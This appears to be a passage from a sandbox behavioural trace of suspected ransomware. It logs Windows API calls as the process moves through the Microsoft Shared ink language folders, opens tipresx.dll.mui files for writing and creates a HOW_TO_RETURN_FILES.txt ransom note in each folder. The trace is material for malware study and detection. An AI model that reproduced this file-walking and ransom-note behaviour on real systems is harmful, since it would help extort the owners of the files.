1 [0095.078] AreFileApisANSI () returned 1 [0095.078] GetACP () returned 0x4e4 [0095.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.078] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.078] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.078] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.078] AreFileApisANSI () returned 1 [0095.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.079] GetFileType (hFile=0x130) returned 0x1 [0095.079] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.080] AreFileApisANSI () returned 1 [0095.080] GetACP () returned 0x4e4 [0095.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sr-Latn-CS", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="sr-Latn-CSctor.exe", lpUsedDefaultChar=0x37df4c) returned 10 [0095.080] AreFileApisANSI () returned 1 [0095.080] GetACP () returned 0x4e4 [0095.080] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=62, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\章kõ") returned 62 [0095.080] AreFileApisANSI () returned 1 [0095.080] GetACP () returned 0x4e4 [0095.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.080] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.080] AreFileApisANSI () returned 1 [0095.080] GetACP () returned 0x4e4 [0095.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.080] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.080] AreFileApisANSI () returned 1 [0095.080] GetACP () returned 0x4e4 [0095.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.080] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.080] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.080] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.081] AreFileApisANSI () returned 1 [0095.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0095.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.081] GetFileType (hFile=0x130) returned 0x1 [0095.082] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.082] AreFileApisANSI () returned 1 [0095.082] GetACP () returned 0x4e4 [0095.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sv-SE", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="sv-SEtn-CS", lpUsedDefaultChar=0x37df4c) returned 5 [0095.082] AreFileApisANSI () returned 1 [0095.082] GetACP () returned 0x4e4 [0095.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\j\x04") returned 57 [0095.111] AreFileApisANSI () returned 1 [0095.111] GetACP () returned 0x4e4 [0095.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.111] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.111] AreFileApisANSI () returned 1 [0095.111] GetACP () returned 0x4e4 [0095.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.111] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.111] AreFileApisANSI () returned 1 [0095.111] GetACP () returned 0x4e4 [0095.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.112] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.112] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.112] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.113] AreFileApisANSI () returned 1 [0095.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.114] GetFileType (hFile=0x130) returned 0x1 [0095.115] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.115] AreFileApisANSI () returned 1 [0095.115] GetACP () returned 0x4e4 [0095.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TabIpsps.dll", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TabIpsps.dllor.exe", lpUsedDefaultChar=0x37df4c) returned 12 [0095.115] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.115] AreFileApisANSI () returned 1 [0095.115] GetACP () returned 0x4e4 [0095.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tabskb.dll", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="tabskb.dllll", lpUsedDefaultChar=0x37df4c) returned 10 [0095.115] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.115] AreFileApisANSI () returned 1 [0095.115] GetACP () returned 0x4e4 [0095.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TabTip.exe", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TabTip.exe", lpUsedDefaultChar=0x37df4c) returned 10 [0095.115] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.115] AreFileApisANSI () returned 1 [0095.115] GetACP () returned 0x4e4 [0095.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="th-TH", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="th-THp.exe", lpUsedDefaultChar=0x37df4c) returned 5 [0095.115] AreFileApisANSI () returned 1 [0095.115] GetACP () returned 0x4e4 [0095.115] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\j\x04") returned 57 [0095.116] AreFileApisANSI () returned 1 [0095.116] GetACP () returned 0x4e4 [0095.116] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.116] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.116] AreFileApisANSI () returned 1 [0095.116] GetACP () returned 0x4e4 [0095.116] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.116] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.116] AreFileApisANSI () returned 1 [0095.116] GetACP () returned 0x4e4 [0095.116] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.116] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.116] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.116] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.117] AreFileApisANSI () returned 1 [0095.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.117] GetFileType (hFile=0x130) returned 0x1 [0095.118] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.118] AreFileApisANSI () returned 1 [0095.118] GetACP () returned 0x4e4 [0095.118] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TipBand.dll", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TipBand.dlll", lpUsedDefaultChar=0x37df4c) returned 11 [0095.118] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.118] AreFileApisANSI () returned 1 [0095.118] GetACP () returned 0x4e4 [0095.118] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TipRes.dll", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TipRes.dlll", lpUsedDefaultChar=0x37df4c) returned 10 [0095.118] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.118] AreFileApisANSI () returned 1 [0095.118] GetACP () returned 0x4e4 [0095.118] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="tipresx.dll", lpUsedDefaultChar=0x37df4c) returned 11 [0095.118] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.118] AreFileApisANSI () returned 1 [0095.118] GetACP () returned 0x4e4 [0095.118] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipskins.dll", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="tipskins.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0095.118] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.118] AreFileApisANSI () returned 1 [0095.118] GetACP () returned 0x4e4 [0095.118] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tiptsf.dll", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="tiptsf.dllll", lpUsedDefaultChar=0x37df4c) returned 10 [0095.118] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.118] AreFileApisANSI () returned 1 [0095.118] GetACP () returned 0x4e4 [0095.118] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tpcps.dll", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="tpcps.dlll", lpUsedDefaultChar=0x37df4c) returned 9 [0095.118] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.118] AreFileApisANSI () returned 1 [0095.119] GetACP () returned 0x4e4 [0095.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tr-TR", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="tr-TR.dll", lpUsedDefaultChar=0x37df4c) returned 5 [0095.119] AreFileApisANSI () returned 1 [0095.119] GetACP () returned 0x4e4 [0095.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\j\x04") returned 57 [0095.119] AreFileApisANSI () returned 1 [0095.119] GetACP () returned 0x4e4 [0095.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.119] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.119] AreFileApisANSI () returned 1 [0095.119] GetACP () returned 0x4e4 [0095.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.119] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.119] AreFileApisANSI () returned 1 [0095.119] GetACP () returned 0x4e4 [0095.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.119] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.119] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.119] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.120] AreFileApisANSI () returned 1 [0095.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.124] GetFileType (hFile=0x130) returned 0x1 [0095.125] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.125] AreFileApisANSI () returned 1 [0095.125] GetACP () returned 0x4e4 [0095.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="uk-UA", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="uk-UA", lpUsedDefaultChar=0x37df4c) returned 5 [0095.125] AreFileApisANSI () returned 1 [0095.125] GetACP () returned 0x4e4 [0095.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\j\x04") returned 57 [0095.125] AreFileApisANSI () returned 1 [0095.125] GetACP () returned 0x4e4 [0095.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.125] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.126] AreFileApisANSI () returned 1 [0095.126] GetACP () returned 0x4e4 [0095.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.126] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.126] AreFileApisANSI () returned 1 [0095.126] GetACP () returned 0x4e4 [0095.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.126] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.126] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.126] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.126] AreFileApisANSI () returned 1 [0095.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.127] GetFileType (hFile=0x130) returned 0x1 [0095.131] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.131] AreFileApisANSI () returned 1 [0095.131] GetACP () returned 0x4e4 [0095.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="zh-CN", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="zh-CN", lpUsedDefaultChar=0x37df4c) returned 5 [0095.131] AreFileApisANSI () returned 1 [0095.131] GetACP () returned 0x4e4 [0095.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\j\x04") returned 57 [0095.132] AreFileApisANSI () returned 1 [0095.132] GetACP () returned 0x4e4 [0095.132] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: 